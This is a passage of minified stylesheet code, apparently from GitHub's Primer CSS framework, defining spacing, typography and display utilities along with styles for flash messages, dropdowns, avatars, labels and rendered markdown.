!important}.pl-xl-2{padding-left:8px !important}.px-xl-2{padding-right:8px !important;padding-left:8px !important}.py-xl-2{padding-top:8px !important;padding-bottom:8px !important}.p-xl-3{padding:16px !important}.pt-xl-3{padding-top:16px !important}.pr-xl-3{padding-right:16px !important}.pb-xl-3{padding-bottom:16px !important}.pl-xl-3{padding-left:16px !important}.px-xl-3{padding-right:16px !important;padding-left:16px !important}.py-xl-3{padding-top:16px !important;padding-bottom:16px !important}.p-xl-4{padding:24px !important}.pt-xl-4{padding-top:24px !important}.pr-xl-4{padding-right:24px !important}.pb-xl-4{padding-bottom:24px !important}.pl-xl-4{padding-left:24px !important}.px-xl-4{padding-right:24px !important;padding-left:24px !important}.py-xl-4{padding-top:24px !important;padding-bottom:24px !important}.p-xl-5{padding:32px !important}.pt-xl-5{padding-top:32px !important}.pr-xl-5{padding-right:32px !important}.pb-xl-5{padding-bottom:32px !important}.pl-xl-5{padding-left:32px !important}.px-xl-5{padding-right:32px !important;padding-left:32px !important}.py-xl-5{padding-top:32px !important;padding-bottom:32px !important}.p-xl-6{padding:40px !important}.pt-xl-6{padding-top:40px !important}.pr-xl-6{padding-right:40px !important}.pb-xl-6{padding-bottom:40px !important}.pl-xl-6{padding-left:40px !important}.px-xl-6{padding-right:40px !important;padding-left:40px !important}.py-xl-6{padding-top:40px !important;padding-bottom:40px !important}.pt-xl-7{padding-top:48px !important}.pr-xl-7{padding-right:48px !important}.pb-xl-7{padding-bottom:48px !important}.pl-xl-7{padding-left:48px !important}.py-xl-7{padding-top:48px !important;padding-bottom:48px !important}.pt-xl-8{padding-top:64px !important}.pr-xl-8{padding-right:64px !important}.pb-xl-8{padding-bottom:64px !important}.pl-xl-8{padding-left:64px !important}.py-xl-8{padding-top:64px !important;padding-bottom:64px !important}.pt-xl-9{padding-top:80px !important}.pr-xl-9{padding-right:80px !important}.pb-xl-9{padding-bottom:80px !important}.pl-xl-9{padding-left:80px !important}.py-xl-9{padding-top:80px !important;padding-bottom:80px !important}.pt-xl-10{padding-top:96px !important}.pr-xl-10{padding-right:96px !important}.pb-xl-10{padding-bottom:96px !important}.pl-xl-10{padding-left:96px !important}.py-xl-10{padding-top:96px !important;padding-bottom:96px !important}.pt-xl-11{padding-top:112px !important}.pr-xl-11{padding-right:112px !important}.pb-xl-11{padding-bottom:112px !important}.pl-xl-11{padding-left:112px !important}.py-xl-11{padding-top:112px !important;padding-bottom:112px !important}.pt-xl-12{padding-top:128px !important}.pr-xl-12{padding-right:128px !important}.pb-xl-12{padding-bottom:128px !important}.pl-xl-12{padding-left:128px !important}.py-xl-12{padding-top:128px !important;padding-bottom:128px !important}}.p-responsive{padding-right:16px !important;padding-left:16px !important}@media(min-width: 544px){.p-responsive{padding-right:40px !important;padding-left:40px !important}}@media(min-width: 1012px){.p-responsive{padding-right:16px !important;padding-left:16px !important}}.h1{font-size:26px !important}@media(min-width: 768px){.h1{font-size:32px !important}}.h2{font-size:22px !important}@media(min-width: 768px){.h2{font-size:24px !important}}.h3{font-size:18px !important}@media(min-width: 768px){.h3{font-size:20px !important}}.h4{font-size:16px !important}.h5{font-size:14px !important}.h6{font-size:12px !important}.h1,.h2,.h3,.h4,.h5,.h6{font-weight:600 !important}.f1{font-size:26px !important}@media(min-width: 768px){.f1{font-size:32px !important}}.f2{font-size:22px !important}@media(min-width: 768px){.f2{font-size:24px !important}}.f3{font-size:18px !important}@media(min-width: 768px){.f3{font-size:20px !important}}.f4{font-size:16px !important}@media(min-width: 768px){.f4{font-size:16px !important}}.f5{font-size:14px !important}.f6{font-size:12px !important}.f00-light{font-size:40px !important;font-weight:300 !important}@media(min-width: 768px){.f00-light{font-size:48px !important}}.f0-light{font-size:32px !important;font-weight:300 !important}@media(min-width: 768px){.f0-light{font-size:40px !important}}.f1-light{font-size:26px !important;font-weight:300 !important}@media(min-width: 768px){.f1-light{font-size:32px !important}}.f2-light{font-size:22px !important;font-weight:300 !important}@media(min-width: 768px){.f2-light{font-size:24px !important}}.f3-light{font-size:18px !important;font-weight:300 !important}@media(min-width: 768px){.f3-light{font-size:20px !important}}.text-small{font-size:12px !important}.lead{margin-bottom:30px;font-size:20px;font-weight:300}.lh-condensed-ultra{line-height:1 !important}.lh-condensed{line-height:1.25 !important}.lh-default{line-height:1.5 !important}.lh-0{line-height:0 !important}@media(min-width: 544px){.lh-sm-condensed-ultra{line-height:1 !important}.lh-sm-condensed{line-height:1.25 !important}.lh-sm-default{line-height:1.5 !important}.lh-sm-0{line-height:0 !important}}@media(min-width: 768px){.lh-md-condensed-ultra{line-height:1 !important}.lh-md-condensed{line-height:1.25 !important}.lh-md-default{line-height:1.5 !important}.lh-md-0{line-height:0 !important}}@media(min-width: 1012px){.lh-lg-condensed-ultra{line-height:1 !important}.lh-lg-condensed{line-height:1.25 !important}.lh-lg-default{line-height:1.5 !important}.lh-lg-0{line-height:0 !important}}@media(min-width: 1280px){.lh-xl-condensed-ultra{line-height:1 !important}.lh-xl-condensed{line-height:1.25 !important}.lh-xl-default{line-height:1.5 !important}.lh-xl-0{line-height:0 !important}}.text-right{text-align:right !important}.text-left{text-align:left !important}.text-center{text-align:center !important}@media(min-width: 544px){.text-sm-right{text-align:right !important}.text-sm-left{text-align:left !important}.text-sm-center{text-align:center !important}}@media(min-width: 768px){.text-md-right{text-align:right !important}.text-md-left{text-align:left !important}.text-md-center{text-align:center !important}}@media(min-width: 1012px){.text-lg-right{text-align:right !important}.text-lg-left{text-align:left !important}.text-lg-center{text-align:center !important}}@media(min-width: 1280px){.text-xl-right{text-align:right !important}.text-xl-left{text-align:left !important}.text-xl-center{text-align:center !important}}.text-normal{font-weight:400 !important}.text-bold{font-weight:600 !important}.text-semibold{font-weight:500 !important}.text-light{font-weight:300 !important}.text-italic{font-style:italic !important}.text-uppercase{text-transform:uppercase !important}.text-underline{text-decoration:underline !important}.no-underline{text-decoration:none !important}.no-wrap{white-space:nowrap !important}.ws-normal{white-space:normal !important}.wb-break-word{word-break:break-word !important;word-wrap:break-word !important;overflow-wrap:break-word !important}.wb-break-all{word-break:break-all !important}.text-emphasized{font-weight:600}.list-style-none{list-style:none !important}.text-mono{font-family:ui-monospace,SFMono-Regular,SF Mono,Menlo,Consolas,Liberation Mono,monospace !important}.user-select-none{-webkit-user-select:none !important;user-select:none !important}.text-capitalize{text-transform:capitalize !important}.d-block{display:block !important}.d-flex{display:flex !important}.d-inline{display:inline !important}.d-inline-block{display:inline-block !important}.d-inline-flex{display:inline-flex !important}.d-none{display:none !important}.d-table{display:table !important}.d-table-cell{display:table-cell !important}@media(min-width: 544px){.d-sm-block{display:block !important}.d-sm-flex{display:flex !important}.d-sm-inline{display:inline !important}.d-sm-inline-block{display:inline-block !important}.d-sm-inline-flex{display:inline-flex !important}.d-sm-none{display:none !important}.d-sm-table{display:table !important}.d-sm-table-cell{display:table-cell !important}}@media(min-width: 768px){.d-md-block{display:block !important}.d-md-flex{display:flex !important}.d-md-inline{display:inline !important}.d-md-inline-block{display:inline-block !important}.d-md-inline-flex{display:inline-flex !important}.d-md-none{display:none !important}.d-md-table{display:table !important}.d-md-table-cell{display:table-cell !important}}@media(min-width: 1012px){.d-lg-block{display:block !important}.d-lg-flex{display:flex !important}.d-lg-inline{display:inline !important}.d-lg-inline-block{display:inline-block !important}.d-lg-inline-flex{display:inline-flex !important}.d-lg-none{display:none !important}.d-lg-table{display:table !important}.d-lg-table-cell{display:table-cell !important}}@media(min-width: 1280px){.d-xl-block{display:block !important}.d-xl-flex{display:flex !important}.d-xl-inline{display:inline !important}.d-xl-inline-block{display:inline-block !important}.d-xl-inline-flex{display:inline-flex !important}.d-xl-none{display:none !important}.d-xl-table{display:table !important}.d-xl-table-cell{display:table-cell !important}}.v-hidden{visibility:hidden !important}.v-visible{visibility:visible !important}@media(max-width: 543.98px){.hide-sm{display:none !important}}@media(min-width: 544px)and (max-width: 767.98px){.hide-md{display:none !important}}@media(min-width: 768px)and (max-width: 1011.98px){.hide-lg{display:none !important}}@media(min-width: 1012px){.hide-xl{display:none !important}}.show-whenNarrow,.show-whenRegular,.show-whenWide,.show-whenRegular.hide-whenWide{display:none !important}.hide-whenNarrow,.hide-whenRegular,.hide-whenWide{display:block !important}@media(max-width: 767.98px){.show-whenNarrow{display:block !important}.hide-whenNarrow{display:none !important}}@media(min-width: 768px){.show-whenRegular,.show-whenRegular.hide-whenWide{display:block !important}.hide-whenRegular{display:none !important}}@media(min-width: 1280px){.show-whenWide{display:block !important}.hide-whenWide,.show-whenRegular.hide-whenWide{display:none !important}}.table-fixed{table-layout:fixed !important}.sr-only{position:absolute;width:1px;height:1px;padding:0;overflow:hidden;clip:rect(0, 0, 0, 0);word-wrap:normal;border:0}.show-on-focus{position:absolute;width:1px;height:1px;margin:0;overflow:hidden;clip:rect(1px, 1px, 1px, 1px)}.show-on-focus:focus{z-index:20;width:auto;height:auto;clip:auto}/*! + * @primer/css/product + * http://primer.style/css + * + * Released under MIT license. Copyright (c) 2019 GitHub Inc. + */.flash{position:relative;padding:20px 16px;border-style:solid;border-width:1px;border-radius:6px}.flash p:last-child{margin-bottom:0}.flash .octicon{margin-right:12px}.flash-messages{margin-bottom:24px}.flash-close{float:right;padding:16px;margin:-16px;text-align:center;cursor:pointer;background:none;border:0;-webkit-appearance:none;appearance:none}.flash-close:hover{opacity:.7}.flash-close:active{opacity:.5}.flash-close .octicon{margin-right:0}.flash-action{float:right;margin-top:-3px;margin-left:24px;background-clip:padding-box}.flash-action.btn .octicon{margin-right:4px;color:var(--color-fg-muted)}.flash-action.btn-primary{background-clip:border-box}.flash-action.btn-primary .octicon{color:inherit}.flash{color:var(--color-fg-default);background-image:linear-gradient(var(--color-accent-subtle), var(--color-accent-subtle));border-color:var(--color-accent-muted)}.flash .octicon{color:var(--color-accent-fg)}.flash-warn{color:var(--color-fg-default);background-image:linear-gradient(var(--color-attention-subtle), var(--color-attention-subtle));border-color:var(--color-attention-muted)}.flash-warn .octicon{color:var(--color-attention-fg)}.flash-error{color:var(--color-fg-default);background-image:linear-gradient(var(--color-danger-subtle), var(--color-danger-subtle));border-color:var(--color-danger-muted)}.flash-error .octicon{color:var(--color-danger-fg)}.flash-success{color:var(--color-fg-default);background-image:linear-gradient(var(--color-success-subtle), var(--color-success-subtle));border-color:var(--color-success-muted)}.flash-success .octicon{color:var(--color-success-fg)}.flash-full{margin-top:-1px;border-width:1px 0;border-radius:0}.flash-banner{position:fixed;top:0;z-index:90;width:100%;border-top:0;border-right:0;border-left:0;border-radius:0}.flash-full,.flash-banner{background-color:var(--color-canvas-default)}.warning{padding:.5em;margin-bottom:.8em;font-weight:600;background-color:var(--color-attention-subtle)}.autocomplete-label-stacked{display:block;margin-bottom:6px}.autocomplete-label-inline{display:inline;margin-right:6px}@media(max-width: 544px){.autocomplete-label-inline{display:block;margin-bottom:6px}}.autocomplete-body{position:relative;display:inline}.autocomplete-embedded-icon-wrap{display:inline-flex;padding:4px 8px;align-items:center}.autocomplete-embedded-icon-wrap:focus-within{border-color:var(--color-accent-fg);border-color:var(--color-accent-fg);outline:none;box-shadow:inset 0 0 0 1px var(--color-accent-fg)}.autocomplete-embedded-icon-wrap .form-control{padding:0;margin-left:8px;border:none;box-shadow:none}.autocomplete-embedded-icon-wrap .form-control:focus{box-shadow:none}.autocomplete-embedded-icon-wrap .form-control:focus-visible{box-shadow:none}.autocomplete-results{position:absolute;left:0;z-index:99;width:max-content;min-width:100%;max-height:20em;overflow-y:auto;font-size:13px;list-style:none;background:var(--color-canvas-overlay);border:1px solid var(--color-border-default);border-radius:6px;box-shadow:var(--color-shadow-medium)}.autocomplete-item{display:block;width:100%;padding:4px 8px;overflow:hidden;font-weight:600;color:var(--color-fg-default);text-align:left;text-decoration:none;text-overflow:ellipsis;white-space:nowrap;cursor:pointer;background-color:var(--color-canvas-overlay);border:0}.autocomplete-item:hover{color:var(--color-fg-on-emphasis);text-decoration:none;background-color:var(--color-accent-emphasis)}.autocomplete-item:hover *{color:inherit !important}.autocomplete-item.selected,.autocomplete-item[aria-selected=true],.autocomplete-item.navigation-focus{color:var(--color-fg-on-emphasis);text-decoration:none;background-color:var(--color-accent-emphasis)}.autocomplete-item.selected *,.autocomplete-item[aria-selected=true] *,.autocomplete-item.navigation-focus *{color:inherit !important}.suggester{position:relative;top:0;left:0;min-width:180px;padding:0;margin:0;margin-top:24px;list-style:none;cursor:pointer;background:var(--color-canvas-overlay);border:1px solid var(--color-border-default);border-radius:6px;box-shadow:var(--color-shadow-medium)}.suggester li{display:block;padding:4px 8px;font-weight:500;border-bottom:1px solid var(--color-border-muted)}.suggester li small{font-weight:400;color:var(--color-fg-muted)}.suggester li:last-child{border-bottom:0;border-bottom-right-radius:6px;border-bottom-left-radius:6px}.suggester li:first-child{border-top-left-radius:6px;border-top-right-radius:6px}.suggester li:hover{color:var(--color-fg-on-emphasis);text-decoration:none;background:var(--color-accent-emphasis)}.suggester li:hover small{color:var(--color-fg-on-emphasis)}.suggester li:hover .octicon{color:inherit !important}.suggester li[aria-selected=true],.suggester li.navigation-focus{color:var(--color-fg-on-emphasis);text-decoration:none;background:var(--color-accent-emphasis)}.suggester li[aria-selected=true] small,.suggester li.navigation-focus small{color:var(--color-fg-on-emphasis)}.suggester li[aria-selected=true] .octicon,.suggester li.navigation-focus .octicon{color:inherit !important}.suggester-container{position:absolute;top:0;left:0;z-index:30}@media(max-width: 544px){.page-responsive .suggester-container{right:8px !important;left:8px !important}.page-responsive .suggester li{padding:8px 16px}}.avatar{display:inline-block;overflow:hidden;line-height:1;vertical-align:middle;background-color:var(--color-avatar-bg);border-radius:6px;flex-shrink:0;box-shadow:0 0 0 1px var(--color-avatar-border)}.avatar-link{float:left;line-height:1}.avatar-group-item{display:inline-block;margin-bottom:3px}.avatar-1,.avatar-2,.avatar-small{border-radius:4px}.avatar-1{width:16px;height:16px}.avatar-2{width:20px;height:20px}.avatar-3{width:24px;height:24px}.avatar-4{width:28px;height:28px}.avatar-5{width:32px;height:32px}.avatar-6{width:40px;height:40px}.avatar-7{width:48px;height:48px}.avatar-8{width:64px;height:64px}.avatar-parent-child{position:relative}.avatar-child{position:absolute;right:-15%;bottom:-9%;background-color:var(--color-canvas-default);border-radius:4px;box-shadow:var(--color-avatar-child-shadow)}.AvatarStack{position:relative;min-width:26px;height:20px}.AvatarStack .AvatarStack-body{position:absolute}.AvatarStack.AvatarStack--two{min-width:36px}.AvatarStack.AvatarStack--three-plus{min-width:46px}.AvatarStack-body{display:flex;background:var(--color-canvas-default)}.AvatarStack-body .avatar{position:relative;z-index:2;display:flex;width:20px;height:20px;box-sizing:content-box;margin-right:-11px;background-color:var(--color-canvas-default);border-right:1px solid var(--color-canvas-default);border-radius:4px;box-shadow:none;transition:margin .1s ease-in-out}.AvatarStack-body .avatar:first-child{z-index:3}.AvatarStack-body .avatar:last-child{z-index:1;border-right:0}.AvatarStack-body .avatar img{border-radius:4px}.AvatarStack-body .avatar:nth-child(n+4){display:none;opacity:0}.AvatarStack-body:hover .avatar{margin-right:3px}.AvatarStack-body:hover .avatar:nth-child(n+4){display:flex;opacity:1}.AvatarStack-body:hover .avatar-more{display:none !important}.avatar.avatar-more{z-index:1;margin-right:0;background:var(--color-canvas-subtle)}.avatar.avatar-more::before,.avatar.avatar-more::after{position:absolute;display:block;height:20px;content:"";border-radius:2px;outline:1px solid var(--color-canvas-default)}.avatar.avatar-more::before{width:17px;background:var(--color-avatar-stack-fade-more)}.avatar.avatar-more::after{width:14px;background:var(--color-avatar-stack-fade)}.AvatarStack--right .AvatarStack-body{right:0;flex-direction:row-reverse}.AvatarStack--right .AvatarStack-body:hover .avatar{margin-right:0;margin-left:3px}.AvatarStack--right .avatar.avatar-more{background:var(--color-avatar-stack-fade)}.AvatarStack--right .avatar.avatar-more::before{width:5px}.AvatarStack--right .avatar.avatar-more::after{width:2px;background:var(--color-canvas-subtle)}.AvatarStack--right .avatar{margin-right:0;margin-left:-11px;border-right:0;border-left:1px solid var(--color-canvas-default)}.CircleBadge{display:flex;align-items:center;justify-content:center;background-color:var(--color-canvas-default);border-radius:50%;box-shadow:var(--color-shadow-medium)}.CircleBadge-icon{max-width:60% !important;height:auto !important;max-height:55% !important}.CircleBadge--small{width:56px;height:56px}.CircleBadge--medium{width:96px;height:96px}.CircleBadge--large{width:128px;height:128px}.DashedConnection{position:relative}.DashedConnection::before{position:absolute;top:50%;left:0;width:100%;content:"";border-bottom:2px dashed var(--color-border-default)}.DashedConnection .CircleBadge{position:relative}.blankslate{position:relative;padding:32px;text-align:center}.blankslate p{color:var(--color-fg-muted)}.blankslate code{padding:2px 5px 3px;font-size:14px;background:var(--color-canvas-default);border:1px solid var(--color-border-muted);border-radius:6px}.blankslate img{width:56px;height:56px}.blankslate-icon{margin-right:4px;margin-bottom:8px;margin-left:4px;color:var(--color-fg-muted)}.blankslate-image{margin-bottom:16px}.blankslate-heading{margin-bottom:4px}.blankslate-action{margin-top:16px}.blankslate-action:first-of-type{margin-top:24px}.blankslate-action:last-of-type{margin-bottom:8px}.blankslate-capped{border-radius:0 0 6px 6px}.blankslate-spacious{padding:80px 40px}.blankslate-narrow{max-width:485px;margin:0 auto}.blankslate-large img{width:80px;height:80px}.blankslate-large h3{margin:16px 0;font-size:24px}.blankslate-large p{font-size:16px}.blankslate-clean-background{border:0}.branch-name{display:inline-block;padding:2px 6px;font:12px ui-monospace,SFMono-Regular,SF Mono,Menlo,Consolas,Liberation Mono,monospace;color:var(--color-fg-muted);word-break:break-all;background-color:var(--color-accent-subtle);border-radius:6px}.branch-name .octicon{margin:1px -2px 0 0;color:var(--color-fg-muted)}a.branch-name{color:var(--color-accent-fg);background-color:var(--color-accent-subtle)}a.branch-name .octicon{color:var(--color-accent-fg)}.dropdown{position:relative}.dropdown-caret{display:inline-block;width:0;height:0;vertical-align:middle;content:"";border-style:solid;border-width:4px 4px 0;border-right-color:transparent;border-bottom-color:transparent;border-left-color:transparent}.dropdown-menu{position:absolute;top:100%;left:0;z-index:100;width:160px;padding-top:4px;padding-bottom:4px;margin-top:2px;list-style:none;background-color:var(--color-canvas-overlay);background-clip:padding-box;border:1px solid var(--color-border-default);border-radius:6px;box-shadow:var(--color-shadow-large)}.dropdown-menu::before,.dropdown-menu::after{position:absolute;display:inline-block;content:""}.dropdown-menu::before{border:8px solid transparent;border-bottom-color:var(--color-border-default)}.dropdown-menu::after{border:7px solid transparent;border-bottom-color:var(--color-canvas-overlay)}.dropdown-menu>ul{list-style:none}.dropdown-menu-no-overflow{width:auto}.dropdown-menu-no-overflow .dropdown-item{padding:4px 16px;overflow:visible;text-overflow:inherit}.dropdown-item{display:block;padding:4px 8px 4px 16px;overflow:hidden;color:var(--color-fg-default);text-overflow:ellipsis;white-space:nowrap}.dropdown-item:hover{color:var(--color-fg-on-emphasis);text-decoration:none;background-color:var(--color-accent-emphasis)}.dropdown-item:hover>.octicon{color:inherit;opacity:1}.dropdown-item:hover [class*=color-text-]{color:inherit !important}.dropdown-item:hover>.Label{color:inherit !important;border-color:currentColor}.dropdown-item.btn-link{width:100%;text-align:left}.dropdown-signout{width:100%;text-align:left;background:none;border:0}.dropdown-divider{display:block;height:0;margin:8px 0;border-top:1px solid var(--color-border-default)}.dropdown-header{padding:4px 16px;font-size:12px;color:var(--color-fg-muted)}.dropdown-item[aria-checked=false] .octicon-check{display:none}.dropdown-menu-w{top:0;right:100%;left:auto;width:auto;margin-top:0;margin-right:8px}.dropdown-menu-w::before{top:10px;right:-16px;left:auto;border-color:transparent;border-left-color:var(--color-border-default)}.dropdown-menu-w::after{top:11px;right:-14px;left:auto;border-color:transparent;border-left-color:var(--color-canvas-overlay)}.dropdown-menu-e{top:0;left:100%;width:auto;margin-top:0;margin-left:8px}.dropdown-menu-e::before{top:10px;left:-16px;border-color:transparent;border-right-color:var(--color-border-default)}.dropdown-menu-e::after{top:11px;left:-14px;border-color:transparent;border-right-color:var(--color-canvas-overlay)}.dropdown-menu-ne{top:auto;bottom:100%;left:0;margin-bottom:3px}.dropdown-menu-ne::before,.dropdown-menu-ne::after{top:auto;right:auto}.dropdown-menu-ne::before{bottom:-8px;left:9px;border-top:8px solid var(--color-border-default);border-right:8px solid transparent;border-bottom:0;border-left:8px solid transparent}.dropdown-menu-ne::after{bottom:-7px;left:10px;border-top:7px solid var(--color-canvas-overlay);border-right:7px solid transparent;border-bottom:0;border-left:7px solid transparent}.dropdown-menu-s{right:50%;left:auto;transform:translateX(50%)}.dropdown-menu-s::before{top:-16px;right:50%;transform:translateX(50%)}.dropdown-menu-s::after{top:-14px;right:50%;transform:translateX(50%)}.dropdown-menu-sw{right:0;left:auto}.dropdown-menu-sw::before{top:-16px;right:9px;left:auto}.dropdown-menu-sw::after{top:-14px;right:10px;left:auto}.dropdown-menu-se::before{top:-16px;left:9px}.dropdown-menu-se::after{top:-14px;left:10px}.Header{z-index:32;display:flex;padding:16px;font-size:14px;line-height:1.5;color:var(--color-header-text);background-color:var(--color-header-bg);align-items:center;flex-wrap:nowrap}.Header-item{display:flex;margin-right:16px;align-self:stretch;align-items:center;flex-wrap:nowrap}.Header-item--full{flex:auto}.Header-link{font-weight:600;color:var(--color-header-logo);white-space:nowrap}.Header-link:hover,.Header-link:focus{color:var(--color-header-text);text-decoration:none}.Header-input{color:var(--color-header-text);background-color:var(--color-header-search-bg);border:1px solid var(--color-header-search-border);box-shadow:none}.Header-input::placeholder{color:rgba(255,255,255,.75)}.IssueLabel{display:inline-block;padding:0 7px;font-size:12px;font-weight:500;line-height:18px;white-space:nowrap;border:1px solid transparent;border-radius:2em}.IssueLabel .g-emoji{position:relative;top:-0.05em;display:inline-block;font-size:1em;line-height:1}.IssueLabel:hover{text-decoration:none}.IssueLabel--big{padding-right:10px;padding-left:10px;line-height:22px}.labels{position:relative}.label,.Label{display:inline-block;padding:0 7px;font-size:12px;font-weight:500;line-height:18px;white-space:nowrap;border:1px solid transparent;border-radius:2em;border-color:var(--color-border-default)}.label:hover,.Label:hover{text-decoration:none}.Label--large{padding-right:10px;padding-left:10px;line-height:22px}.Label--inline{display:inline;padding:.12em .5em;font-size:85%}.Label--primary{color:var(--color-fg-default);border-color:var(--color-neutral-emphasis)}.Label--secondary{color:var(--color-fg-muted);border-color:var(--color-border-default)}.Label--info,.Label--accent{color:var(--color-accent-fg);border-color:var(--color-accent-emphasis)}.Label--success{color:var(--color-success-fg);border-color:var(--color-success-emphasis)}.Label--warning,.Label--attention{color:var(--color-attention-fg);border-color:var(--color-attention-emphasis)}.Label--severe{color:var(--color-severe-fg);border-color:var(--color-severe-emphasis)}.Label--danger{color:var(--color-danger-fg);border-color:var(--color-danger-emphasis)}.Label--open{color:var(--color-open-fg);border-color:var(--color-open-emphasis)}.Label--closed{color:var(--color-closed-fg);border-color:var(--color-closed-emphasis)}.Label--done{color:var(--color-done-fg);border-color:var(--color-done-emphasis)}.Label--sponsors{color:var(--color-sponsors-fg);border-color:var(--color-sponsors-emphasis)}.state,.State{display:inline-block;padding:5px 12px;font-size:14px;font-weight:500;line-height:20px;text-align:center;white-space:nowrap;border-radius:2em}.state,.State,.State--draft{color:var(--color-fg-on-emphasis);background-color:var(--color-neutral-emphasis);border:1px solid transparent}.State--open{color:var(--color-fg-on-emphasis);background-color:var(--color-open-emphasis)}.State--merged{color:var(--color-fg-on-emphasis);background-color:var(--color-done-emphasis)}.State--closed{color:var(--color-fg-on-emphasis);background-color:var(--color-closed-emphasis)}.State--small{padding:0 10px;font-size:12px;line-height:24px}.State--small .octicon{width:1em}.Counter{display:inline-block;min-width:20px;padding:0 6px;font-size:12px;font-weight:500;line-height:18px;color:var(--color-fg-default);text-align:center;background-color:var(--color-neutral-muted);border:1px solid var(--color-counter-border);border-radius:2em}.Counter:empty{display:none}.Counter .octicon{vertical-align:text-top;opacity:.8}.Counter--primary{color:var(--color-fg-on-emphasis);background-color:var(--color-neutral-emphasis)}.Counter--secondary{color:var(--color-fg-muted);background-color:var(--color-neutral-subtle)}.diffstat{font-size:12px;font-weight:600;color:var(--color-fg-muted);white-space:nowrap;cursor:default}.diffstat-block-deleted,.diffstat-block-added,.diffstat-block-neutral{display:inline-block;width:8px;height:8px;margin-left:1px;outline-offset:-1px}.diffstat-block-deleted{background-color:var(--color-danger-emphasis);outline:1px solid var(--color-border-subtle)}.diffstat-block-added{background-color:var(--color-diffstat-addition-bg);outline:1px solid var(--color-border-subtle)}.diffstat-block-neutral{background-color:var(--color-neutral-muted);outline:1px solid var(--color-border-subtle)}.AnimatedEllipsis{display:inline-block;overflow:hidden;vertical-align:bottom}.AnimatedEllipsis::after{display:inline-block;content:"...";animation:AnimatedEllipsis-keyframes 1.2s steps(4, jump-none) infinite}@keyframes AnimatedEllipsis-keyframes{0%{transform:translateX(-100%)}}.markdown-body{font-family:-apple-system,BlinkMacSystemFont,"Segoe UI",Helvetica,Arial,sans-serif,"Apple Color Emoji","Segoe UI Emoji";font-size:16px;line-height:1.5;word-wrap:break-word}.markdown-body::before{display:table;content:""}.markdown-body::after{display:table;clear:both;content:""}.markdown-body>*:first-child{margin-top:0 !important}.markdown-body>*:last-child{margin-bottom:0 !important}.markdown-body a:not([href]){color:inherit;text-decoration:none}.markdown-body .absent{color:var(--color-danger-fg)}.markdown-body .anchor{float:left;padding-right:4px;margin-left:-20px;line-height:1}.markdown-body .anchor:focus{outline:none}.markdown-body p,.markdown-body blockquote,.markdown-body ul,.markdown-body ol,.markdown-body dl,.markdown-body table,.markdown-body pre,.markdown-body details{margin-top:0;margin-bottom:16px}.markdown-body hr{height:.25em;padding:0;margin:24px 0;background-color:var(--color-border-default);border:0}.markdown-body blockquote{padding:0 1em;color:var(--color-fg-muted);border-left:.25em solid var(--color-border-default)}.markdown-body blockquote>:first-child{margin-top:0}.markdown-body blockquote>:last-child{margin-bottom:0}.markdown-body h1,.markdown-body h2,.markdown-body h3,.markdown-body h4,.markdown-body h5,.markdown-body h6{margin-top:24px;margin-bottom:16px;font-weight:600;line-height:1.25}.markdown-body h1 .octicon-link,.markdown-body h2 .octicon-link,.markdown-body h3 .octicon-link,.markdown-body h4 .octicon-link,.markdown-body h5 .octicon-link,.markdown-body h6 .octicon-link{color:var(--color-fg-default);vertical-align:middle;visibility:hidden}.markdown-body h1:hover .anchor,.markdown-body h2:hover .anchor,.markdown-body h3:hover .anchor,.markdown-body h4:hover .anchor,.markdown-body h5:hover .anchor,.markdown-body h6:hover .anchor{text-decoration:none}.markdown-body h1:hover .anchor .octicon-link,.markdown-body h2:hover .anchor .octicon-link,.markdown-body h3:hover .anchor .octicon-link,.markdown-body h4:hover .anchor .octicon-link,.markdown-body h5:hover .anchor .octicon-link,.markdown-body h6:hover .anchor .octicon-link{visibility:visible}.markdown-body h1 tt,.markdown-body h1 code,.markdown-body h2 tt,.markdown-body h2 code,.markdown-body h3 tt,.markdown-body h3 code,.markdown-body h4 tt,.markdown-body h4 code,.markdown-body h5 tt,.markdown-body h5 code,.markdown-body h6 tt,.markdown-body h6 code{padding:0 .2em;font-size:inherit}.markdown-body h1{padding-bottom:.3em;font-size:2em;border-bottom:1px solid var(--color-border-muted)}.markdown-body h2{padding-bottom:.3em;font-size:1.5em;border-bottom:1px solid var(--color-border-muted)}.markdown-body h3{font-size:1.25em}.markdown-body h4{font-size:1em}.markdown-body h5{font-size:.875em}.markdown-body h6{font-size:.85em;color:var(--color-fg-muted)}.markdown-body summary h1,.markdown-body summary h2,.markdown-body summary h3,.markdown-body summary h4,.markdown-body summary h5,.markdown-body summary h6{display:inline-block}.markdown-body summary h1 .anchor,.markdown-body summary h2 .anchor,.markdown-body summary h3 .anchor,.markdown-body summary h4 .anchor,.markdown-body summary h5 .anchor,.markdown-body summary h6 .anchor{margin-left:-40px}.markdown-body summary h1,.markdown-body summary h2{padding-bottom:0;border-bottom:0}.markdown-body ul,.markdown-body ol{padding-left:2em}.markdown-body ul.no-list,.markdown-body ol.no-list{padding:0;list-style-type:none}.markdown-body ol[type="1"]{list-style-type:decimal}.markdown-body ol[type=a]{list-style-type:lower-alpha}.markdown-body ol[type=i]{list-style-type:lower-roman}.markdown-body div>ol:not([type]){list-style-type:decimal}.markdown-body ul ul,.markdown-body ul ol,.markdown-body ol ol,.markdown-body ol ul{margin-top:0;margin-bottom:0}.markdown-body li>p{margin-top:16px}.markdown-body li+li{margin-top:.25em}.markdown-body dl{padding:0}.markdown-body dl dt{padding:0;margin-top:16px;font-size:1em;font-style:italic;font-weight:600}.markdown-body dl dd{padding:0 16px;margin-bottom:16px}.markdown-body table{display:block;width:100%;width:max-content;max-width:100%;overflow:auto}.markdown-body table th{font-weight:600}.markdown-body table th,.markdown-body table td{padding:6px 13px;border:1px solid var(--color-border-default)}.markdown-body table tr{background-color:var(--color-canvas-default);border-top:1px solid var(--color-border-muted)}.markdown-body table tr:nth-child(2n){background-color:var(--color-canvas-subtle)}.markdown-body table img{background-color:transparent}.markdown-body img{max-width:100%;box-sizing:content-box;background-color:var(--color-canvas-default)}.markdown-body img[align=right]{padding-left:20px}.markdown-body img[align=left]{padding-right:20px}.markdown-body .emoji{max-width:none;vertical-align:text-top;background-color:transparent}.markdown-body span.frame{display:block;overflow:hidden}.markdown-body span.frame>span{display:block;float:left;width:auto;padding:7px;margin:13px 0 0;overflow:hidden;border:1px solid var(--color-border-default)}.markdown-body span.frame span img{display:block;float:left}.markdown-body span.frame span span{display:block;padding:5px 0 0;clear:both;color:var(--color-fg-default)}.markdown-body span.align-center{display:block;overflow:hidden;clear:both}.markdown-body span.align-center>span{display:block;margin:13px auto 0;overflow:hidden;text-align:center}.markdown-body span.align-center span img{margin:0 auto;text-align:center}.markdown-body span.align-right{display:block;overflow:hidden;clear:both}.markdown-body 